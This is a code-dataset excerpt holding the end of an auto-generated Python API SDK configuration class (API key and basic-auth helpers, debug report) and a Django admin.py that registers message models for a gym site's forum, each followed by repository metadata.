return self.__logger_format @logger_format.setter def logger_format(self, value): """ Sets the logger_format. The logger_formatter will be updated when sets logger_format. :param value: The format string. :type: str """ self.__logger_format = value self.logger_formatter = logging.Formatter(self.__logger_format) def get_api_key_with_prefix(self, identifier): """ Gets API key (with prefix if set). :param identifier: The identifier of apiKey. :return: The token for api key authentication. """ if self.api_key.get(identifier) and self.api_key_prefix.get(identifier): return self.api_key_prefix[identifier] + ' ' + self.api_key[identifier] elif self.api_key.get(identifier): return self.api_key[identifier] def get_basic_auth_token(self): """ Gets HTTP basic authentication header (string). :return: The token for basic HTTP authentication. """ return urllib3.util.make_headers(basic_auth=self.username + ':' + self.password)\ .get('authorization') def auth_settings(self): """ Gets Auth Settings dict for api client. :return: The Auth Settings information dict. """ return { 'auth_token': { 'type': 'api_key', 'in': 'header', 'key': 'X-Auth-Token', 'value': self.get_api_key_with_prefix('X-Auth-Token') }, } def to_debug_report(self): """ Gets the essential information for debugging. :return: The report for debugging. """ return "Python SDK Debug Report:\n"\ "OS: {env}\n"\ "Python Version: {pyversion}\n"\ "Version of the API: 1.0.19\n"\ "SDK Package Version: 1.0.0".\ format(env=sys.platform, pyversion=sys.version)

[ "novvvster@gmail.com" ]

novvvster@gmail.com

fad8117f1daed26a450221f93a2411e385332a25

efd99210b16aa74040ae7caf938ae6843043eb37

/community/admin.py

381d8b709fb9a47ef17862ee11cd737978c85277

[]

no_license

Bourkekev/ms4-power-fitness-gym

6fd5465403e45ea0cc89650bf001a53069bc4b7a

fb4c6219a57d4ffe994739b4e80a20f12681225c

refs/heads/main

2023-03-22T08:09:23.657835

2021-01-30T12:22:17

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from django.contrib import admin from .models import MessageTopic, MessagePost class MessagePostAdmin(admin.ModelAdmin): """ Create the admin interface for Messages """ readonly_fields = ( 'message', 'topic', 'created_at', 'updated_at', 'created_by', 'updated_by', ) list_display = ( 'message', 'topic', 'created_at', 'created_by', ) ordering = ('-created_by',) admin.site.register(MessageTopic) admin.site.register(MessagePost, MessagePostAdmin)

[ "bourkekev@gmail.com" ]

bourkekev@gmail.com